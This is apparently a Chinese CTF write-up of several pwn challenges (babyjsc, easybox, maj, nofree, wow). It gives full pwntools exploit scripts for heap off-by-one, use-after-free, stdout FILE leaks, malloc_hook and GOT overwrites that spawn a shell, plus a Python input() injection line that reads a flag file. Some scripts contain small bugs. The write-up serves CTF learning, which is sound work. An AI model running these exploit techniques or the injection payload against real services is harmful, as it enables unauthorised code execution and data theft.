本文编写于 142 天前,最后修改于 141 天前,其中某些信息可能已经过时。
前言
比赛的时候做出来了babyjsc,easybox,maj,做了点misc,其他pwn题为赛后复现
babyjsc
题目附件:
https://pan.baidu.com/share/init?surl=_-9DQxSJzOLc5gjl0Oo-2Q 提取码:GAME
解题思路:
找到了程序的server.py
import sys
import tempfile
import os
size = int(input())
assert(size < 1024*1024) #1MB max
script = sys.stdin.read(size) # reads one byte at a time, similar to getchar()
temp = tempfile.mktemp()
with open(temp, "w") as f:
f.write(script)
os.environ['LD_PRELOAD'] = "./libJavaScriptCore.so.1"
cmd = "LD_PRELOAD=/home/ctf/libJavaScriptCore.so.1 /home/ctf/jsc " + temp
os.system(cmd)
没头绪,尝试连接端口测试,随便输入字符会报错input,拿到谷歌一搜input真的有漏洞
参考链接:
https://www.jianshu.com/p/668bfbdb6813
exp:
__import__('os').system('cat /home/ctf/flag')
easybox
很明显的off-by-one漏洞,没有show功能来泄露libc
利用思路:
- 利用堆重迭控制fd指针
- 改FD指针为stdout-0x51,成功实现劫持结构体
- 修改结构体从而泄露出真实地址
- 利用onegadget攻击malloc_hook
#coding:utf8
from pwn import *
#context.log_level = 'debug'
#debug = 1
elf = ELF('pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def add(idx, size, content):
sh.recvuntil('>>>')
sh.sendline('1')
sh.recvuntil('idx:')
sh.sendline(str(idx))
sh.recvuntil('len:')
sh.sendline(str(size))
sh.recvuntil('content:')
sh.send(content)
def delete(idx):
sh.recvuntil('>>>')
sh.sendline('2')
sh.recvuntil('idx:')
sh.sendline(str(idx))
def pwn():
add(0,0x10,'a')
add(1,0xf8,'b')
add(2,0x68,'c')
add(3,0x18,'d')
delete(0)
add(0,0x18,'a'*0x18+'\x71')
delete(2)
delete(1)
add(1,0xf8,'b')
delete(1)
add(0,0x18,'a'*0x10+p64(0)+'\x71')
add(1,0x168,'a'*0xf0+p64(0)+p64(0x71)+'\x75\xdd')
payload='A'*0x33+p64(0xfbad1887)+p64(0)*3+'\x00'
add(2,0x68,'a')
add(4,0x68,payload)
libc_base = u64(io.recvuntil('\x7f', timeout=0.2)[-6:].ljust(8, '\x00'))-0x3c5600
if libc_base == -0x3c5600:
sh.close()
exit(1)
log.success('libc_base:'+hex(libc_base))
onegadget=libc_base+0xf1207
add(5, 0x18, 'a')
add(6, 0x68, 'a')
add(7, 0x18, 'a')
delete(3)
add(3, 0x18, 'a'*0x10+p64(0)+'\x91')
delete(6)
delete(5)
payload='a'*0x10+p64(0)+p64(0x71)+p64(malloc_hook-0x23)
add(5,0x80,payload)
add(8,0x68,p64(malloc_hook-0x23))
add(9,0x68,'a'*0x13+p64(onegadget))
sh.recvuntil('>>>')
sh.sendline('1')
sh.recvuntil('idx:')
sh.sendline(str(10))
sh.recvuntil('len:')
sh.sendline(str(1))
sh.interactive()
if __name__ == '__main__':
while True:
global sh
try:
#sh = process('./pwn')
sh=remote('101.200.53.148',34521)
pwn()
except:
sh.close()
maj
uaf漏洞,需要改fd指针为stdout
#coding:utf8
from pwn import *
#context.log_level = 'debug'
debug = 1
elf = ELF('pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def add(size,data):
sh.sendlineafter('>> ',str(1))
sh.sendlineafter('question\n\n',str(80))
sh.recvuntil('______?\n')
sh.sendline(str(size))
sh.recvuntil('or_no?\n')
sh.send(str(data))
def show(idx):
sh.sendlineafter('>> ',str(3))
sh.recvuntil('index ?\n')
sh.sendline(str(idx))
def edit(idx,data):
sh.sendlineafter('>> ',str(4))
sh.recvuntil('index ?\n')
sh.sendline(str(idx))
sh.recvuntil('__new_content ?\n')
sh.send(str(data))
def delete(idx):
sh.sendlineafter('>> ',str(2))
sh.recvuntil('index ?\n')
sh.sendline(str(idx))
def pwn():
add(0x68,'a')
add(0xf8,'a') # 1 0x60 0x70 0x7f
add(0x60,'a') # 2 0x60 0x70
add(0x60,'a') # 3 0x7f 0x90 --> 0x70 + 0x20
add(0x10,'a')
edit(0,p64(0)*9+p64(0xb1))
delete(3)
delete(2)
edit(1,'a'*0x80+p64(0xa0)+p64(0x70))
delete(1)
edit(2,'\x00')
add(0x60,'a') #5
add(0x60,'a') #6
delete(6)
add(0x88,'a') #7
edit(6,'\xdd\xf5')
add(0x60,'a')#8
add(0x60,'a')#9
edit(9,cyclic(51) + p64(0xfbad1887) + p64(0) * 3 + '\x00')
libc_base = u64(io.recvuntil('\x7f', timeout=0.2)[-6:].ljust(8, '\x00'))-0x3c5600
gdb.attach(sh)
log.success('libc_base:'+hex(libc_base))
onegadget = libc_base+0xf1207
malloc_hook = libc_base+libc.symbols['__malloc_hook']
add(0x68, 'a')#10
add(0x68, 'a')#11
dele(10)
dele(11)
dele(10)
add(0x68, 'a') # 12
edit(12, p64(malloc_hook-0x23))
add(0x68, 'a') # 13
edit(13, p64(malloc_hook-0x23))
add(0x68, 'a') # 14
edit(14, p64(malloc_hook-0x23))
payload = 'A'*0x13+p64(onegadget)
add(0x68, 'a')#15
edit(15, payload)
sh.recvuntil('>> ')
sh.sendline('1')
sh.recvuntil('please answer the questshn\n')
sh.sendline('80')
sh.recvuntil('______?')
sh.sendline(str(1))
#gdb.attach(sh)
sh.interactive()
if __name__ == '__main__':
while True:
global sh
try:
sh = process('./pwn')
#sh=remote('101.200.53.148',15423)
pwn()
except:
sh.close()
nofree
题目信息
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
只有add和edit
- add功能:最多3个块,大小在0~0x90之间,用的strdup函数
- edit功能:能编辑相应堆块,大小为add时写入的size
strdup会申请内存而不释放,申请大小为实际填充字符串的大小,这里存在堆溢出
简单来说:add时填0x20的大小,只填充0x10的字符串,edit的时候就存在溢出漏洞
这道题的难点是无法free,没有show函数
比赛结束后我请教其他师傅,说可以改strdup函数的got表为printf函数制造格式化字符串漏洞
exp:
#coding:utf8
from pwn import *
#context.log_level = 'debug'
debug = 1
elf = ELF('pwn')
if debug:
sh = process('./pwn')
libc = elf.libc
else:
sh = remote('101.200.53.148', 12301)
libc = ELF('libc-2.27-64.so')
def add(idx,size,data):
sh.sendlineafter('choice>> ',str(1))
sh.recvuntil('idx: ')
sh.sendline(str(idx))
sh.recvuntil('size: ')
sh.sendline(str(size))
sh.recvuntil('content: ')
sh.send(str(data))
def edit(idx,data):
sh.sendlineafter('choice>> ',str(2))
sh.recvuntil('idx: ')
sh.sendline(str(idx))
sh.recvuntil('content: ')
sh.send(str(data))
for i in range(24):
add(0,0x90,'a'*0x90)
add(0,0x90,'a')
edit(0,'\x00'*0x18+p64(0xe1))
add(0,0x90,'a'*0x30)
add(1,0x90,'a'*0x88+p64(0x81))
edit(0,'b'*0x30+p64(0)+p64(0x81)+p64(0x602140))
add(0,0x90,'a'*0x70)
add(2,0x90,'c'*0x70+p64(0)*3+p64(0x81))
edit(2,'c'*0x70+p64(0x602068)+p64(0x90))
edit(0,p64(0x400700))
#gdb.attach(sh,'b *0x400700 \n c')
add(0,0x10,'%17$p')
libc_base = int(sh.recv(14),16) - 0x20840
print hex(libc_base)
edit(2,'c'*0x70+p64(elf.got['strdup'])+p64(0x90))
edit(0,p64(libc_base+libc.symbols['system']))
add(0,0x10,'/bin/sh\x00')
sh.interactive()
wow
一个vmpwn,我的ida识别错误了,是函数边界造成的,需要修复一下
将sub_404CA5函数的end改为0x404DC4
然后在这里新创建一个函数就可以了
主要有@#^|&$*~{} 这些功能
字符串 | 功能 |
---|---|
@ | ++ptr |
# | - -ptr |
^ | ++*ptr |
竖线 | - -*ptr |
& | write(1,rbx,1) |
$ | read(0,rbx,1) |
* | *ptr << 2 |
~ | ~*ptr |
{ } | 类似while |
整个程序就是模拟栈